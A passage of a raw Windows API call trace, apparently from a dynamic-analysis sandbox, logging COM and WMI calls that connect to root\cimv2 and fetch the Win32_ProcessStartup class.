WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aee60, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0121.620] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0121.620] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0121.620] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aee60, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0121.620] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aee60, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0121.620] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aee60, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0121.620] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aee60, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0121.620] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0121.620] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0121.620] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0121.620] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0121.620] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0121.620] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0121.620] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.620] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4d32a0) returned 0x0 [0121.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d32a0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0121.621] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d32a0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4af820) returned 0x0 [0121.621] WbemDefPath:IUnknown:Release (This=0x1b4d32a0) returned 0x0 [0121.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4af820) returned 0x0 [0121.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0121.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0121.621] WbemDefPath:IUnknown:AddRef (This=0x1b4af820) returned 0x3 [0121.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0121.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0121.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4d34e0) returned 0x0 [0121.621] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d34e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.621] WbemDefPath:IUnknown:Release (This=0x1b4d34e0) returned 0x3 [0121.621] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0121.621] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0121.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0121.621] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x2 [0121.621] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x1 [0121.621] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0121.622] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0121.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4af820) returned 0x0 [0121.622] WbemDefPath:IUnknown:AddRef (This=0x1b4af820) returned 0x3 [0121.622] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x2 [0121.622] WbemDefPath:IWbemPath:SetText (This=0x1b4af820, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0121.622] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af820, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0121.622] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0121.622] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0121.622] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0121.622] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0121.622] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0121.622] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.622] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4d3080) returned 0x0 [0121.622] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d3080, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0121.622] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d3080, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4d30c0) returned 0x0 [0121.622] WbemLocator:IUnknown:Release (This=0x1b4d3080) returned 0x0 [0121.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4d30c0) returned 0x0 [0121.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0121.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0121.623] WbemLocator:IUnknown:AddRef (This=0x1b4d30c0) returned 0x3 [0121.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0121.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0121.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0121.623] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0121.623] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0121.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0121.623] WbemLocator:IUnknown:Release (This=0x1b4d30c0) returned 0x2 [0121.623] WbemLocator:IUnknown:Release (This=0x1b4d30c0) returned 0x1 [0121.623] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0121.623] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0121.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30c0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4d30c0) returned 0x0 [0121.623] WbemLocator:IUnknown:AddRef (This=0x1b4d30c0) returned 0x3 [0121.623] WbemLocator:IUnknown:Release (This=0x1b4d30c0) returned 0x2 [0121.623] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af820, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0121.623] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0121.623] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0121.623] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4d3440) returned 0x0 [0121.623] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d3440, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4ce8c0) returned 0x0 [0121.796] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce8c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b510350) returned 0x0 [0121.797] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b510350, pProxy=0x1b4ce8c0, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0121.797] WbemLocator:IUnknown:Release (This=0x1b510350) returned 0x1 [0121.797] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce8c0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b510398) returned 0x0 [0121.797] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce8c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b510350) returned 0x0 [0121.797] WbemLocator:IClientSecurity:SetBlanket (This=0x1b510350, pProxy=0x1b4ce8c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0121.797] WbemLocator:IUnknown:Release (This=0x1b510350) returned 0x2 [0121.797] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x1 [0121.797] CoTaskMemFree (pv=0x1b461e50) [0121.797] WbemLocator:IUnknown:Release (This=0x1b4d3440) returned 0x0 [0121.797] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce8c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b510398) returned 0x0 [0121.798] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0121.799] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0121.801] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce8c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0121.803] WbemLocator:IUnknown:AddRef (This=0x1b510398) returned 0x3 [0121.803] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0121.803] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0121.803] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b510278) returned 0x0 [0121.803] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b510278, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.803] WbemLocator:IUnknown:Release (This=0x1b510278) returned 0x3 [0121.803] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0121.804] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0121.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b510360) returned 0x0 [0121.804] WbemLocator:IRpcOptions:Query (in: This=0x1b510360, pPrx=0x1b510398, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0121.804] WbemLocator:IUnknown:Release (This=0x1b510360) returned 0x3 [0121.804] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x2 [0121.804] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0121.804] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0121.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4ce8c0) returned 0x0 [0121.804] WbemLocator:IUnknown:AddRef (This=0x1b4ce8c0) returned 0x4 [0121.804] WbemLocator:IUnknown:Release (This=0x1b4ce8c0) returned 0x3 [0121.804] WbemLocator:IUnknown:Release (This=0x1b4ce8c0) returned 0x2 [0121.804] SysStringLen (param_1=0x0) returned 0x0 [0121.804] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0121.804] WbemLocator:IUnknown:AddRef (This=0x1b510398) returned 0x3 [0121.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b510398) returned 0x0 [0121.804] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x3 [0121.804] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x2 [0121.805] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0121.805] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0121.805] IWbemServices:GetObject (in: This=0x1b4ce8c0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4da5b0, ppCallResult=0x0) returned 0x0 [0121.809] IWbemClassObject:Get (in: This=0x1b4da5b0, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0121.809] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0121.809] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0121.809] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0121.809] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0121.809] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0121.809] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.811] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, 